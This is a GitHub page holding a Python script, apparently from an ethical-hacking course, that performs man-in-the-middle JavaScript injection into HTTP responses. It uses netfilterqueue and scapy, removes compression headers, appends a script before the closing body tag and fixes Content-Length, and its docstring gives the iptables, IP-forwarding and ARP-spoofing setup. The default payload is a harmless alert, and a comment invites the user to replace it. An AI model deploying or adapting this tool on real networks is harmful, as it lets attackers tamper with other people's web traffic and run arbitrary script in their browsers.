-
Notifications
You must be signed in to change notification settings - Fork 0
/
code_injector.py
65 lines (50 loc) · 2.68 KB
/
code_injector.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python
'''
This Linux tool injects JavaScript code as part of MITM attack. Works with HTTP protocol only.
Credits to "Learn Python and Ethical Hacking from Scratch" course by Zaid Sabih.
In order to work you need to become a man in the middle by poison ARP cache of the target (arp_spoof.py) and set the packages to queue as follows
(assuming you are MITM and sniffing target packets):
sudo iptables -I FORWARD -j NFQUEUE --queue-num 0
Also make sure that forwarding of packages is enabled:
sudo sysctl net.ipv4.ip_forward=1
Remember to flush iptables after the attack:
sudo iptables --flush
Evgeni Semenov, hello@safemail.sbs
Tested on python3
'''
import netfilterqueue #queue handling
import scapy.all as scapy #packet manipulation library
import re #python regex
def set_load(packet, load): # function that replaces the load of the packet
packet[scapy.Raw].load = load
# removing the cheksums (scapy will re-calculate them):
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload()) #converting packet to scapy packet
if scapy.Raw in scapy_packet and scapy.TCP in scapy_packet: # checking if the packet has a Raw layer
load = scapy_packet[scapy.Raw].load.decode('latin-1')
if scapy_packet[scapy.TCP].dport == 80: # checking whether the packet is a HTTP request
print("[+] Request")
load = re.sub("Accept-Encoding:.*?\\r\\n", "", load) #removing gzip encoding
elif scapy_packet[scapy.TCP].sport == 80: # checking whether the packet is a HTTP response
print("[+] Response")
#print(scapy_packet.show())
injection_code = "<script>alert('I hack you!');</script>" # place your injection code here
load = load.replace("</body>", injection_code + "</body>") # injecting our code in front of </body> tag
content_length_search = re.search("(?:Content-Length:\s)(\d*)", load)
if content_length_search and "text/html" in load:
content_length = content_length_search.group(1)
new_content_length = int(content_length) + len(injection_code)
new_content_length = str(new_content_length)
load = load.replace(content_length, new_content_length)
if load != scapy_packet[scapy.Raw].load:
new_packet = set_load(scapy_packet, load)
packet.set_payload(bytes(new_packet))
packet.accept()
if __name__ == "__main__":
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet) # number of queue is the same as you set in iptables --queue-num
queue.run()